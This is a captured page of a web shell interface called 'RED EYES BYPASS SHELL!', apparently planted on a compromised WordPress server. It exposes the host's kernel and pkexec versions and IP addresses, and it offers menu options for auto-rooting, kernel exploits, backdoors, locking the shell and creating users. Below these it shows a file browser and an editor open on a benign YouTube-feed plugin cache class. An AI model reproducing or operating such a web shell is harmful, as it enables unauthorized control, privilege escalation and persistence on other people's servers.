Linux sothorn202 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 202.28.82.202 | : 216.73.216.9
pkexec version 0.105
Cant Read [ /etc/named.conf ]
iqtd
RED EYES BYPASS SHELL!
Terminal
Auto Root
Adminer
Backdoor Destroyer
Kernel Exploit
Lock Shell
Lock File
Create User
+ Create Folder
+ Create File
/
home /
pr /
wp-content /
plugins /
feeds-for-youtube /
inc /
[ HOME SHELL ]
NAME
SIZE
PERMISSION
ACTION
Admin
[ DIR ]
drwxr-xr-x
Blocks
[ DIR ]
drwxr-xr-x
Builder
[ DIR ]
drwxr-xr-x
Customizer
[ DIR ]
drwxr-xr-x
Data
[ DIR ]
drwxr-xr-x
Helpers
[ DIR ]
drwxr-xr-x
Services
[ DIR ]
drwxr-xr-x
Container.php
1.05
KB
-rwxr-xr-x
Feed_Locator.php
12.99
KB
-rwxr-xr-x
HTTP_Request.php
1.87
KB
-rwxr-xr-x
PluginSilentUpgrader.php
22.29
KB
-rwxr-xr-x
PluginSilentUpgraderSkin.php
1.15
KB
-rwxr-xr-x
Response.php
642
B
-rwxr-xr-x
SBY_API_Connect.php
9.77
KB
-rwxr-xr-x
SBY_Cache.php
4.72
KB
-rwxr-xr-x
SBY_Cron_Updater.php
6.94
KB
-rwxr-xr-x
SBY_Display_Elements.php
35.4
KB
-rwxr-xr-x
SBY_Feed.php
57.79
KB
-rwxr-xr-x
SBY_GDPR_Integrations.php
2.01
KB
-rwxr-xr-x
SBY_Parse.php
12.28
KB
-rwxr-xr-x
SBY_Posts_Manager.php
7.25
KB
-rwxr-xr-x
SBY_RSS_Connect.php
4.74
KB
-rwxr-xr-x
SBY_Settings.php
16.74
KB
-rwxr-xr-x
SBY_Vars.php
1.03
KB
-rwxr-xr-x
SBY_View.php
777
B
-rwxr-xr-x
SBY_WP_Post.php
6.66
KB
-rwxr-xr-x
SB_YouTube_Data_Encryption.php
3.83
KB
-rwxr-xr-x
SbyWidget.php
2.36
KB
-rwxr-xr-x
class-install-skin.php
584
B
-rwxr-xr-x
sby-functions.php
37.33
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : SBY_Cache.php
<?php /** * YouTube Feed Cache * * For the new feed builder * * @since 2.0 */ namespace SmashBalloon\YouTubeFeed; class SBY_Cache { /** * @var int */ private $feed_id; /** * @var int */ private $page; /** * @var string */ private $suffix; /** * @var bool */ private $is_legacy; /** * @var int */ private $cache_time; /** * @var array */ private $posts; /** * @var array */ private $posts_page; /** * @var bool */ private $is_expired; /** * @var array */ private $header; /** * @var array */ private $resized_images; /** * @var array */ private $meta; /** * @var array */ private $posts_backup; /** * @var array */ private $header_backup; /** * @var object|SB_Instagram_Data_Encryption */ protected $encryption; /** * SBY_Cache constructor. Set the feed id, cache key, legacy * * @param string $feed_id * @param int $page * @param int $cache_time * * @since 2.0 */ public function __construct( $feed_id, $page = 1, $cache_time = 0 ) { $this->cache_time = (int) $cache_time; $this->is_legacy = strpos( $feed_id, '*' ) !== 0; $this->page = $page; if ( $this->page === 1 ) { $this->suffix = ''; } else { $this->suffix = '_' . $this->page; } $this->feed_id = str_replace( '*', '', $feed_id ); if ( is_admin() ) { $this->feed_id .= $this->maybe_customizer_suffix(); } } /** * Add suffix to cache keys used in the customizer * * @return string * * @since 2.0 */ private function maybe_customizer_suffix() { $additional_suffix = ''; $in_customizer = ! empty( $_POST['previewSettings'] ) || ( isset( $_GET['page'] ) && $_GET['page'] === 'sby-feed-builder' ); if ( $in_customizer ) { $additional_suffix .= '_CUSTOMIZER'; if ( ! empty( $_POST['moderationShoppableMode'] ) ) { $additional_suffix .= '_MODMODE'; $offset = ! empty( $_POST['moderationShoppableModeOffset'] ) ? intval( $_POST['moderationShoppableModeOffset'] ) : ''; $additional_suffix .= $offset; } } return $additional_suffix; } /** * Resets caches after they expire * * @param string $type * * @return bool|false|int * * @since 2.0 */ public function clear( $type ) { $this->clear_wp_cache(); global $wpdb; $cache_table_name = $wpdb->prefix . 'sby_feed_caches'; $feed_id = str_replace( array( '_CUSTOMIZER', '_CUSTOMIZER_MODMODE' ), '', $this->feed_id ); if ( $type === 'all' ) { $affected = $wpdb->query( $wpdb->prepare( "UPDATE $cache_table_name SET cache_value = '' WHERE feed_id = %s AND cache_key NOT IN ( 'posts', 'posts_backup', 'header_backup' );", $feed_id ) ); $affected = $wpdb->query( $wpdb->prepare( "UPDATE $cache_table_name SET cache_value = '' WHERE feed_id = %s", $feed_id . '_CUSTOMIZER' ) ); $mod_mode_where = esc_sql( $feed_id ) . '_CUSTOMIZER_MODMODE%'; $affected = $wpdb->query( $wpdb->prepare( "UPDATE $cache_table_name SET cache_value = '' WHERE feed_id like %s", $mod_mode_where ) ); } else { $data = array( 'cache_value' => '' ); $format = array( '%s' ); $where['feed_id'] = $feed_id; $where_format[] = '%s'; $where['cache_key'] = $type . $this->suffix; $where_format[] = '%s'; $affected = $wpdb->update( $cache_table_name, $data, $where, $format, $where_format ); $where['feed_id'] = $feed_id . '_CUSTOMIZER'; $affected = $wpdb->update( $cache_table_name, $data, $where, $format, $where_format ); $where['feed_id'] = $feed_id . '_CUSTOMIZER_MODMODE'; $affected = $wpdb->update( $cache_table_name, $data, $where, $format, $where_format ); } return $affected; } /** * Get active/all cache count. * * @param bool $active when set to true only items updated in the last months are returned. * * @return int */ public function get_cache_count($active = false) { global $wpdb; $cache_table_name = $wpdb->prefix . 'sby_feed_caches'; $query = "SELECT COUNT(DISTINCT feed_id, cache_key) as cache_count FROM $cache_table_name WHERE feed_id Not Like '%_CUSTOMIZER%'"; if($active === true) { $query .= " AND feed_id Not Like '%_MODMODE%' AND last_updated >= DATE_SUB(NOW(), INTERVAL 1 MONTH)"; } $sql = $wpdb->prepare($query); $caches = $wpdb->get_results( $sql ); if(!empty($caches)) { return $caches[0]->cache_count; } return 0; } /** * Delete the wp_cache * * @since 2.0 */ private function clear_wp_cache() { wp_cache_delete( $this->get_wp_cache_key() ); } /** * Key used to get the wp cache key * * @return string * * @since 2.0 */ private function get_wp_cache_key() { return 'sby_feed_' . $this->feed_id . '_' . $this->page; } }
Close